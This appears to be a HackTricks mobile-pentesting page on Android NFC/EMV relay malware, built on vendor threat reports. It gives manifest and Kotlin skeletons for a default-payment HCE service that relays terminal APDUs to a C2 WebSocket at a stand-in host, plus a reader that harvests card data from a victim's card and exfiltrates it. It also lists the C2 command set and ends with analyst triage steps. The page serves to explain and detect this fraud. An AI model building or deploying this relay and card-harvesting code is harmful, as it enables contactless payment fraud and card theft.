android-hce-nfc-emv-relay-attacks.md (10558B)
1 --- 2 title: "Android HCE NFC/EMV Relay Attacks" 3 section: "Mobile" 4 sectionSlug: "mobile-pentesting" 5 sourcePath: "src/mobile-pentesting/android-app-pentesting/android-hce-nfc-emv-relay-attacks.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/android-hce-nfc-emv-relay-attacks.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Android HCE NFC/EMV Relay Attacks 14 15 ## Overview 16 17 Abuse of Android Host Card Emulation (HCE) allows a malicious app set as the default NFC payment service to relay EMV contactless transactions in real-time. The POS terminal talks ISO 14443-4/EMV to the phone; the app’s HostApduService receives APDUs and forwards them over a bidirectional C2 (often WebSocket) to a backend that crafts responses, which are relayed back to the POS. This enables live card emulation without local card data. Campaigns observed at scale rebrand as banks/government apps, prompt to become the default payment app, and auto-exfiltrate device/card data to Telegram bots/channels.<sup>[[1]](#references)</sup> 18 19 Key traits 20 - Android components: HostApduService + default NFC payment handler (category "payment")<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 21 - Transport/C2: WebSocket for APDU relay; Telegram bot API for exfil/ops 22 - Operator workflow: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error) 23 - Roles: scanner (read EMV data) vs tapper (HCE/relay) builds 24 25 ## Minimal implementation building blocks 26 27 ### Manifest (become default payment HCE service) 28 29 ```xml 30 <uses-feature android:name="android.hardware.nfc.hce" android:required="true"/> 31 <uses-permission android:name="android.permission.NFC"/> 32 33 <application ...> 34 <service 35 android:name=".EmvRelayService" 36 android:exported="true" 37 android:permission="android.permission.BIND_NFC_SERVICE"> 38 <intent-filter> 39 <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/> 40 </intent-filter> 41 <meta-data 42 android:name="android.nfc.cardemulation.host_apdu_service" 43 android:resource="@xml/aid_list"/> 44 </service> 45 </application> 46 ``` 47 48 Example AID list with EMV payment category (only apps set as default payment can answer these AIDs):<sup>[[3]](#references)</sup> 49 50 ```xml 51 <?xml version="1.0" encoding="utf-8"?> 52 <host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android" 53 android:description="@string/app_name" 54 android:requireDeviceUnlock="false"> 55 <aid-group android:category="payment" android:description="@string/app_name"> 56 <!-- PPSE (2PAY.SYS.DDF01) routing --> 57 <aid-filter android:name="325041592E5359532E4444463031"/> 58 <!-- Common EMV AIDs (examples): --> 59 <aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit --> 60 <aid-filter android:name="A0000000041010"/> <!-- MasterCard --> 61 <aid-filter android:name="A00000002501"/> <!-- AmEx --> 62 </aid-group> 63 </host-apdu-service> 64 ``` 65 66 Prompt user to set default payment app (opens OS settings): 67 68 ```kotlin 69 val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS") 70 startActivity(intent) 71 ``` 72 73 ### HostApduService relay skeleton 74 75 ```kotlin 76 class EmvRelayService : HostApduService() { 77 private var ws: okhttp3.WebSocket? = null 78 79 override fun onCreate() { 80 super.onCreate() 81 // Establish C2 WebSocket early; authenticate and register device 82 val client = okhttp3.OkHttpClient() 83 val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build() 84 ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {}) 85 } 86 87 override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray { 88 // Marshal APDU to C2 and block until response 89 val id = System.nanoTime() 90 val msg = mapOf( 91 "type" to "apdu_command", 92 "id" to id, 93 "data" to commandApdu!!.toHex() 94 ) 95 val response = sendAndAwait(msg) // wait for matching apdu_response{id} 96 return response.hexToBytes() 97 } 98 99 override fun onDeactivated(reason: Int) { 100 ws?.send("{\"type\":\"card_removed\"}") 101 } 102 103 private fun sendAndAwait(m: Any): String { 104 // Implement correlation + timeout; handle error/blocked status 105 // ... 106 return "9000" // fall back to SW success if needed 107 } 108 } 109 ``` 110 111 Utility note: Background service must respond within the POS timeout budget (~few hundred ms) per APDU; maintain a low-latency socket and pre-auth with the C2. Persist across process death using a foreground service as needed. 112 113 ### Typical C2 command set (observed) 114 115 ```text 116 login / login_response 117 register / register_device / register_response 118 logout 119 apdu_command / apdu_response 120 card_info / clear_card_info / card_removed 121 get_pin / pin_response 122 check_status / status_response 123 paired / unpaired 124 update_required 125 telegram_notification / telegram_response 126 error 127 ``` 128 129 ### EMV contactless exchange (primer) 130 131 The POS drives the flow; the HCE app simply relays APDUs: 132 133 - SELECT PPSE (2PAY.SYS.DDF01) 134 - 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00 135 - SELECT application AID (e.g., VISA A0000000031010) 136 - 00 A4 04 00 len <AID> 00 137 - GET PROCESSING OPTIONS (GPO) 138 - 80 A8 00 00 Lc <PDOL data> 00 139 - READ RECORD(S) per AFL 140 - 00 B2 <SFI/record> 0C 00 141 - GENERATE AC (ARQC/TC) 142 - 80 AE 80 00 Lc <CDOL1 data> 00 143 144 In a relay, the backend crafts valid FCI/FCP, AFL, records and a cryptogram; the phone only forwards bytes. 145 146 ### Victim-side card harvesting with `IsoDep` + PPSE 147 148 A complementary role is the **reader/scanner** build running on the victim phone. Instead of emulating a card to the POS, it waits for the victim to place a real payment card near the device, then talks directly to the card over **ISO-DEP** using Android's `NfcAdapter.ReaderCallback` + `android.nfc.tech.IsoDep` APIs. This is not HCE: the phone is acting as a **reader** for a contactless EMV card.<sup>[[6]](#references)</sup> 149 150 Typical workflow: 151 152 1. `onTagDiscovered(Tag)` obtains an `IsoDep` handle with `IsoDep.get(tag)`.<sup>[[5]](#references)</sup> 153 2. The app calls `connect()` and often increases the APDU timeout with `setTimeout(120000)` to survive slow user interaction or backend waits.<sup>[[4]](#references)</sup> 154 3. It sends **SELECT PPSE** (`2PAY.SYS.DDF01`) to enumerate payment applications exposed by the card. 155 4. It parses returned TLV/EMV data to recover values such as **PAN/card number**, **expiry**, **application label**, and candidate **AIDs**. 156 5. The harvested data is serialized and immediately exfiltrated, commonly over the same WebSocket/C2 channel later used by the HCE relay side. 157 158 Minimal reader-mode skeleton:<sup>[[6]](#references)</sup> 159 160 ```kotlin 161 class VictimReader : NfcAdapter.ReaderCallback { 162 override fun onTagDiscovered(tag: Tag) { 163 val iso = IsoDep.get(tag) ?: return 164 iso.connect() 165 iso.setTimeout(120000) 166 167 val ppse = hexToBytes("00A404000E325041592E5359532E444446303100") 168 val fci = iso.transceive(ppse) 169 // Parse TLV/FCI: label, AIDs, PAN/expiry from subsequent EMV records 170 exfiltrate(fci) 171 } 172 } 173 ``` 174 175 Practical notes: 176 177 - `00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00` = `SELECT 2PAY.SYS.DDF01` 178 - Reader-mode malware often combines this with a **local WebView** (`file:///android_asset/...`) that fakes a card verification flow while native code performs NFC reads in the background.<sup>[[6]](#references)</sup> 179 - The **PIN is usually not read from NFC**. It is socially engineered in the fake UI and then merged into the exfiltrated card record.<sup>[[6]](#references)</sup> 180 181 ### Analyst notes for hostile APK packaging 182 183 Recent Android NFC fraud samples also use **malformed ZIP/APK paths** (for example fake absolute paths rooted under `/AndroidManifest.xml/`, `/classes.dex/`, or `/resources.arsc/`) to break brittle extraction and scoring pipelines. If `jadx`, `apktool`, or a custom unzip step fails early, treat that as a **suspicious anti-analysis signal** instead of benign corruption.<sup>[[6]](#references)</sup> 184 185 Quick triage workflow: 186 187 ```bash 188 unzip -l sample.apk 189 zipinfo -v sample.apk 190 jadx sample.apk -d out-jadx 191 apktool d sample.apk -o out-apktool 192 ``` 193 194 If tools disagree about the file list, ZIP offsets, or `AndroidManifest.xml` decoding, rebuild a normalized sample before deeper reversing. Tools such as **apkInspector** are useful here because they inspect ZIP structure and still extract manifest-level artifacts from hostile APK containers.<sup>[[7]](#references)</sup> 195 196 ## Operator workflows seen in the wild 197 198 - Deception + install: app re-skins as bank/gov portal, presents full-screen WebView and immediately requests to become default NFC payment app.<sup>[[1]](#references)</sup><sup>[[6]](#references)</sup> 199 - Event-triggered activation: NFC tap wakes HostApduService; the relay begins.<sup>[[1]](#references)</sup> 200 - Scanner/Tapper roles: one build reads EMV data from a victim card (PAN, exp, tracks, device/EMV fields) and exfiltrates; another build (or the same device later) performs HCE relay to a POS.<sup>[[1]](#references)</sup><sup>[[6]](#references)</sup> 201 - Exfiltration: device/card data is auto-posted to private Telegram channels/bots; WebSocket coordinates sessions and UI prompts (e.g., on-device PIN UI). The linked IOC repository provides campaign artifacts for defenders.<sup>[[1]](#references)</sup><sup>[[6]](#references)</sup><sup>[[8]](#references)</sup> 202 203 ## References 204 205 - [1] [Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices](https://zimperium.com/blog/tap-and-steal-the-rise-of-nfc-relay-malware-on-mobile-devices) 206 - [2] [Android HostApduService](https://developer.android.com/reference/android/nfc/cardemulation/HostApduService) 207 - [3] [Android HCE and Card Emulation docs](https://developer.android.com/guide/topics/connectivity/nfc/hce) 208 - [4] [Android IsoDep API reference](https://developer.android.com/reference/android/nfc/tech/IsoDep) 209 - [5] [Android NfcAdapter.ReaderCallback API reference](https://developer.android.com/reference/android/nfc/NfcAdapter.ReaderCallback) 210 - [6] [D3Lab – NFCShare evolves: from a banking phishing APK to a GitHub-hosted Android NFC fraud campaign](https://www.d3lab.net/nfcshare-evolves-from-a-banking-phishing-apk-to-a-github-hosted-android-nfc-fraud-campaign/) 211 - [7] [apkInspector](https://github.com/erev0s/apkInspector) 212 - [8] [Zimperium IOCs – 2025-10-NFCStealer](https://github.com/Zimperium/IOC/tree/master/2025-10-NFCStealer)